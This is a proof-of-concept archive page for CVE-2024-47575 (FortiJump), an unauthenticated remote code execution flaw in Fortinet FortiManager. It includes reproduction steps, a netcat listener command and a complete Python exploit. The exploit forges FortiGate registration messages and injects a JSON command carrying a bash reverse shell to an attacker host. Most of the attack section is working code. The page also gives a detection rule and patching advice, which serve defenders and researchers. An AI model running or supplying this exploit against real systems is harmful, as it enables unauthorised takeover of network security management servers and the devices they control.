PoC Archive PoC Archive
Critical CVE-2024-47575 unpatched

Fortinet FortiManager FortiJump Unauthenticated RCE (CVE-2024-47575)

by watchTowr Labs (Sina Kheirkhah) · 2026-05-17

CVSS 9.8/10
Severity
Critical
CVE
CVE-2024-47575
Category
network
Affected product
Fortinet FortiManager / FortiManager Cloud (fgfmd daemon)
Affected versions
FortiManager 7.6.0; 7.4.0–7.4.4; 7.2.0–7.2.7; 7.0.0–7.0.12; 6.4.0–6.4.14; 6.2.0–6.2.12; FortiManager Cloud 7.4.1–7.4.4, 7.2.1–7.2.7, 7.0.1–7.0.12, 6.4
Disclosed
2026-05-17
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-17
Author / ResearcherwatchTowr Labs (Sina Kheirkhah)
CVE / AdvisoryCVE-2024-47575
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3)
StatusWeaponized
TagsRCE, unauthenticated, FortiManager, fgfmd, zero-day, KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiManager / FortiManager Cloud (fgfmd daemon)
Versions AffectedFortiManager 7.6.0; 7.4.0–7.4.4; 7.2.0–7.2.7; 7.0.0–7.0.12; 6.4.0–6.4.14; 6.2.0–6.2.12; FortiManager Cloud 7.4.1–7.4.4, 7.2.1–7.2.7, 7.0.1–7.0.12, 6.4
Language / PlatformNetwork-exposed FortiManager management plane over TLS (port 541 / fgfmd protocol)
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2024-47575 (FortiJump) is a missing-authentication flaw in FortiManager’s fgfmd daemon that lets a remote unauthenticated attacker execute arbitrary commands. Public exploit code demonstrates vulnerability detection and command execution primitives over the management protocol. Reporting indicates this bug was exploited as a zero-day from at least June 2024 and is tracked in CISA’s Known Exploited Vulnerabilities catalog.


Vulnerability Details

Root Cause

The fgfmd daemon accepts crafted management messages without properly enforcing authentication and authorization on critical actions. An attacker can impersonate a managed FortiGate context, establish a file-exchange channel, and issue privileged JSON RPC-like commands that reach command execution paths.

Attack Vector

An unauthenticated attacker with network reachability to the FortiManager management service (commonly TCP/541 over TLS) sends a crafted sequence (get ipget authget file_exchange) and then submits a malicious command payload through channel messages.

Impact

Successful exploitation enables unauthenticated remote code execution on FortiManager infrastructure. Real-world impact includes device compromise, malicious script execution, and downstream control-plane abuse against managed security infrastructure.


Environment / Lab Setup

OS:          Linux/macOS attacker host with Python 3
Target:      Authorized FortiManager/FortiManager Cloud instance in vulnerable range
Attacker:    Security testing workstation
Tools:       Python 3, network reachability to TCP/541, netcat listener

Setup Steps

1
2
3
4
5
6
cd pocs/network/2026-05-17_fortimanager-fortijump-rce-cve-2024-47575

curl -fsSLO https://raw.githubusercontent.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575/main/w00t_cert.bin
curl -fsSLO https://raw.githubusercontent.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575/main/w00t_key.bin

python3 -m py_compile CVE-2024-47575.py

Proof of Concept

Step-by-Step Reproduction

  1. Start a listener on your authorized lab attacker host.

    1
    
    nc -lvvnp 4444
    
  2. Run vulnerability check mode against the target.

    1
    
    python3 CVE-2024-47575.py --target <fortimanager-ip> --action check
    
  3. Run exploit mode to deliver the command payload.

    1
    2
    3
    4
    5
    
    python3 CVE-2024-47575.py \
      --target <fortimanager-ip> \
      --lhost <attacker-ip> \
      --lport 4444 \
      --action exploit
    

Exploit Code

See CVE-2024-47575.py in this folder.

1
2
3
4
5
6
7
8
request_file_exchange = b"""get file_exchange
localid=REPLACE_LOCAL_ID
chan_window_sz=32768
file_exch_cmd=put_json_cmd

\0"""

json_payload = b'{"method":"exec","params":[{"url":"um/som/export","data":{"file":"`...`"}}]}'

Expected Output

[VULN] Target is Vulnerable

Screenshots / Evidence

  • screenshots/ — add authorized packet captures, listener callback evidence, and target-side logs

Detection & Indicators of Compromise

SIEM / IDS Rule (example):

alert tcp any any -> $HOME_NET 541 (
  msg:"Possible FortiManager CVE-2024-47575 exploitation sequence";
  flow:to_server,established;
  content:"get file_exchange";
  sid:952447575; rev:1;
)

Remediation

ActionDetail
PatchApply Fortinet fixes from FG-IR-24-423 for FortiManager/FortiManager Cloud affected branches
WorkaroundRestrict management-plane exposure to trusted admin networks and VPN-only access; block untrusted access to TCP/541
Config HardeningMonitor fgfmd traffic and logs for anomalous registration/channel operations; rotate credentials and audit managed devices after incident response

References


Notes

Auto-ingested from https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575 on 2026-05-17.

CVE-2024-47575.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# DISCLAIMER: For authorized security research and defensive testing only.

import socket
import struct
import ssl
import argparse
import random
from time import sleep


banner = """
CVE-2024-47575.py
(*) FortiManager Unauthenticated Remote Code Execution (CVE-2024-47575) exploit by watchTowr

  - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
"""


print(banner)
parser = argparse.ArgumentParser(description="FortiManager CVE-2024-47575 exploit")
parser.add_argument("--target", type=str, help="Target IP", required=True)
parser.add_argument("--lhost", type=str, help="Attacker IP", required=False, default="empty")
parser.add_argument("--lport", type=str, help="Attacker PORT", required=False, default="empty")
parser.add_argument("--action", type=str, choices=["check", "exploit"], help='Choose an action: "check" or "exploit"', required=True)
args = parser.parse_args()


if args.action == "exploit":
    if args.lhost == "empty" or args.lport == "empty":
        print("[ERROR] you got an error, because you chose the 'exploit' mode but didnt provide the '--lhost and --lport'")
        exit(1)


request_getip = b"""get ip
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-VM64
fos_ver=700
minor=2
patch=2
build=1255
branch=1255
maxvdom=2
fg_ip=192.168.1.53
hostname=FGVMEVWG8YMT3R63
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30235
mgmt_mode=normal
enc_flags=0
first_fmgid=
probe_mode=yes
vdom=root
intf=port1
\0""".replace(b"\n", b"\r\n")


request_auth = b"""get auth
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.1.53
hostname=FortiGate
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.1.53
mgmtport=443
\0""".replace(b"\n", b"\r\n")


request_file_exchange = b"""get file_exchange
localid=REPLACE_LOCAL_ID
chan_window_sz=32768
deflate=gzip
file_exch_cmd=put_json_cmd

\0""".replace(b"\n", b"\r\n").replace(b"REPLACE_LOCAL_ID", str(random.randint(100, 999)).encode())

json_payload = b"""{
    "method": "exec",
    "id": 1,
    "params": [
        {
            "url": "um/som/export",
            "data": {
               "file":"`sh -i >& /dev/tcp/REPLACE_LHOST/REPLACE_LPORT 0>&1`"
            }
        }
    ]
}""".replace(b"REPLACE_LHOST", args.lhost.encode()).replace(b"REPLACE_LPORT", args.lport.encode())
request_channel_open = b"""channel
remoteid=REPLACE_REMOTE_ID

\0""".replace(b"\n", b"\r\n")

request_channel_open += str(len(json_payload)).encode()
request_channel_open += b"\n"
request_channel_open += json_payload
request_channel_open += b"0\n"


request_channel_close = b"""channel
action=close
remoteid=REPLACE_REMOTE_ID

\0""".replace(b"\n", b"\r\n")


def sendmsg(sock, request, recv=True):
    message = struct.pack(">II", 0x36E01100, len(request) + 8) + request
    sock.send(message)
    if not recv:
        return
    hdr = sock.read(8)
    if len(hdr) != 8:
        return hdr
    magic, size = struct.unpack(">II", hdr)
    return sock.read(size)


def create_ssl_sock():
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.minimum_version = ssl.TLSVersion.TLSv1_2
    context.load_cert_chain(certfile="w00t_cert.bin", keyfile="w00t_key.bin")
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE

    s = socket.create_connection(host, 30)
    ssl_sock = context.wrap_socket(s)
    return ssl_sock


def print_n_sleep(msg, s=0.4):
    print(msg)
    sleep(s)


host = (args.target, 541)

ssl_sock = create_ssl_sock()

response = sendmsg(ssl_sock, request_getip)
response = sendmsg(ssl_sock, request_auth)

response = sendmsg(ssl_sock, request_file_exchange)
remote_id = response.decode().split("\r\n")[1].split("=")[1].strip()

if remote_id is not None:
    print("[VULN] Target is Vulnerable")
else:
    print("[SAFE] Target is Safe")
    exit(1)

if args.action == "check":
    exit(0)


request_channel_open = request_channel_open.replace(b"REPLACE_REMOTE_ID", remote_id.encode())
response = sendmsg(ssl_sock, request_channel_open, False)

request_channel_close = request_channel_close.replace(b"REPLACE_REMOTE_ID", remote_id.encode())
response = sendmsg(ssl_sock, request_channel_close, True)